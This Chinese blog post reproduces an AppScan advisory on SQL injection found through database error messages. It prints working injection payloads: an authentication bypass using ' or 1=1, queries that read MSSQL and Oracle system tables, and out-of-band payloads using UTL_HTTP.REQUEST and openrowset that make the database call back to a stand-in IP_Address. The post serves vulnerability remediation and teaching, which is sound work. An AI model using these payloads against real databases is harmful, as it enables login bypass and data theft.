发现数据库错误模式（AppScan扫描结果）

最近工作要求解决下web的项目的漏洞问题，扫描漏洞是用的AppScan工具，其中此篇文章是关于发现数据库错误模式问题的。下面就把这块东西分享出来。

原创文章，转载请注明

-----------------------------------------正题-------------------------

测试类型：
应用程序级别测试

威胁分类：
SQL注入

原因：
未对用户输入正确执行危险字符清理

安全性风险：
可能会查看、修改或删除数据库条目和表

受影响产品：
该问题可能会影响各种类型的产品。

引用：

"Web Application Disassembly with ODBC Error Messages"（作者：David Litchfield）
SQL Injection Training Module

技术描述：

    AppScan 在测试响应中发现到“SQL 注入”以外的攻击所触发的“数据库错误”。虽然不确定，但这个错误可能表示应用程序有“SQL 注入”漏洞。若是如此，请仔细阅读下列“SQL 注入”咨询：
Web 应用程序通常在后端使用数据库，以与企业数据仓库交互。查询数据库事实上的标准语言是 SQL（各大数据库供应商都有自己的不同版本）。Web应用程序通常会获取用户输入（取自 HTTP 请求），将它并入 SQL 查询中，然后发送到后端数据库。接着应用程序便处理查询结果，有时会向用户显示结果。如果应用程序对用户（攻击者）的输入处理不够小心，攻击者便可以利用这种操作方式。在此情况下，攻击者可以注入恶意的数据，当该数据并入 SQL查询中时，就将查询的原始语法更改得面目全非。例如，如果应用程序使用用户的输入（如用户名和密码）来查询用户帐户的数据库表，以认证用户，而攻击者能够将恶意数据注入查询的用户名部分（和/或密码部分），查询便可能更改成完全不同的数据复制查询，可能是修改数据库的查询，或在数据库服务器上运行 Shell 命令的查询。

    一般而言，攻击者会分步实现这个目标。他会先学习 SQL 查询的结构，然后使用该知识来阻挠查询（通过注入更改查询语法的数据），使执行的查询不同于预期。假设相关查询是：
SELECT COUNT(*) FROM accounts WHERE username=‘$user‘ AND password=‘$pass‘

     其中 $user 和 $pass 是用户输入（从调用构造查询的脚本的 HTTP 请求收集而来 － 可能是来自 GET 请求查询参数，也可能是来自 POST 请求主体参数）。此查询的一般用法，其值为:

    $user=john、$password=secret123。形成的查询如下：SELECT COUNT(*) FROM accounts WHERE
username=‘john‘ AND password=‘secret123‘

    如果数据库中没有这个用户密码配对，预期的查询结果便是 0，如果此类配对存在（也就是数据库中有名称为“john”的用户，且其密码
为“secret123”），结果便是 >0。这是应用程序的基本认证机制。但攻击者可以用下列方式来更改此查询：
1. 攻击者可以提供单引号字符（‘）所组成的输入，使数据库发出错误消息，其中通常包含关于 SQL 查询的有价值的信息。攻击者只需在发送的请求中包含用户值 ‘，并在密码中包含任何值（如 foobar）。结果便是下列（格式错误）的 SQL 查询：

　　SELECT COUNT(*) FROM accounts WHERE username=‘‘‘ AND password=‘foobar‘

 这可能会产生以下错误消息（取决于后端所使用的特定数据库）：查询表达式 ‘username = ‘‘‘ AND password = ‘foobar‘‘ 中发生语法错误（遗漏运算符）。
    这时攻击者便得知查询是根据表达式 username=‘$user‘ AND password=‘$pass‘ 来构建的。利用手边的 SQL 查询时需要这一关键信息。攻击者了解查询的格式后，下一步只需使用：

    user = ‘ or 1=1 or ‘‘=‘ password = foobar
生成的查询如下：
    SELECT COUNT(*) FROM accounts WHERE username=‘‘ or 1=1 or ‘‘=‘‘ AND password=‘foobar‘

    这表示查询（在 SQL 数据库中）对于“accounts”表的每项记录都会返回 TRUE，因为 1=1 表达式永远为真。因此，查询会返回“accounts”中的记录数量，于是用户（攻击者）也会被视为有效。这个探测方法有若干变体，例如，发送 ‘? or \‘（您应该记住，几乎所有供应商都有他们自己唯一的 SQL“版本”。具体地说，发送 ‘ having 1=1，也会生成错误消息，此消息会泄露有关列名称的信息。在某些情况下，用户输入不会并入字符串上下文（用单引号括住），而是并入数字上下文，换言之，就是依现状嵌入。因此，在这种情况下，可以使用输入字符串 1 having 1=1。
2. 在某些情况下，有可能将原始查询替换为其他查询。提早终止原始查询（例如：使用单引号来结束字符串上下文，用分号之类的查询分隔符来强制终止，然后撰写新的查询），便可以做到这一点。如果应用程序够灵活，可以从已修改的查询中接收（及显示）数据（虽然不完全符合预期的数据），那么就可以使用这项技术来下载各种数据库表和记录。即使应用程序处理从数据库返回的意外数据的方式还不至于将该数据显示出来，它仍可能在数据库上运行恶意查询（例如：更改表、删除表，以及运行Shell 命令）。最后，在某些情况下，按一定方式设计恶意查询，使所需数据依照应用程序预期的格式返回，便可得到所需数据。下列输入字符串可用来从数据库的系统表中生成敏感信息（这取决于应用程序处理返回的查询结果的方式）：

‘? select @@version,1,1,1（MSSQL数据库 － 返回数据库版本）
‘? select * from master..sysmessages（MSSQL数据库 － 返回系统信息）
‘? select * from dbo.sysdatabases（MSSQL数据库 － 返回数据库服务器所管理的数据库名称）
‘? select * from sys.dba_users（Oracle 数据库 － 返回数据库用户名）

由此可见，如果用户输入未经清理（也就是确保字符串数据不含 ‘ 或 " － 这些字符必须编码/转义，且必须确保数字/布尔型或其他类型化数据的格式适当），攻击者便可以使用这个情况来操纵数据库。在 Oracle 测试变体中，由强制 Oracle 数据库利用 UTL_HTTP 程序包建立从 Oracle 服务器返回测试机器的 HTTP 连接来验证 SQL 注入。发送的注入有效内容是：

　　‘ || UTL_HTTP.REQUEST(‘http://IP_Address:80/SQL_Injection_Validation‘) || ‘
假设原始 SQL 查询是：SELECT COUNT(*) FROM accounts WHERE username=‘$user‘ AND password=‘$pass‘，在 SQL 注入测试期间实际的 SQL查询是：

      SELECT COUNT(*) FROM accounts WHERE username=‘‘ || UTL_HTTP.REQUES ‘http://IP_Address:80/SQL_Injection_Validation‘) || ‘‘ AND password=‘$pass‘

当运行此 SQL 查询时，Oracle 服务器会执行 UTL_HTTP.REQUEST 入口点，这个入口点会联系测试机器，通过 HTTP 来请求
‘/SQL_Injection_Validation‘ 文件。
注意：为了能够适当验证这项测试，在 Oracle 服务器和测试机器之间，必须能够建立直接的 TCP 连接。在 MS SQL 端口侦听器测试变体中，也使用类似的方法。发送的注入有效内容是：

　　‘? select * from openrowset(‘sqloledb‘,‘Network=DBMSSOCN?Address=IP_Address,9999?uid=myUsr?pwd=myPass‘,‘select foo from bar‘)
假设原始 SQL 查询是：SELECT COUNT(*) FROM accounts WHERE username=‘$user‘ AND password=‘$pass‘，在 SQL 注入期间，实际的 SQL 查询是：
SELECT COUNT(*) FROM accounts WHERE username=‘‘? select * from openrowset(‘sqloledb‘,‘Network=DBMSSOCN?Address=
[IP_Address],9999?uid=myUsr?pwd=myPass‘,‘select foo from bar‘)‘ AND password=‘$pass‘

当运行这个 SQL 查询时，MS SQL 服务器会在 9999 端口上建立指向 [IP_Address] 的连接，这是 openrowset() 的执行结果。
注意：为了能够适当验证这项测试，在 MS SQL 服务器和测试机器之间，必须能够建立直接的 TCP 连接。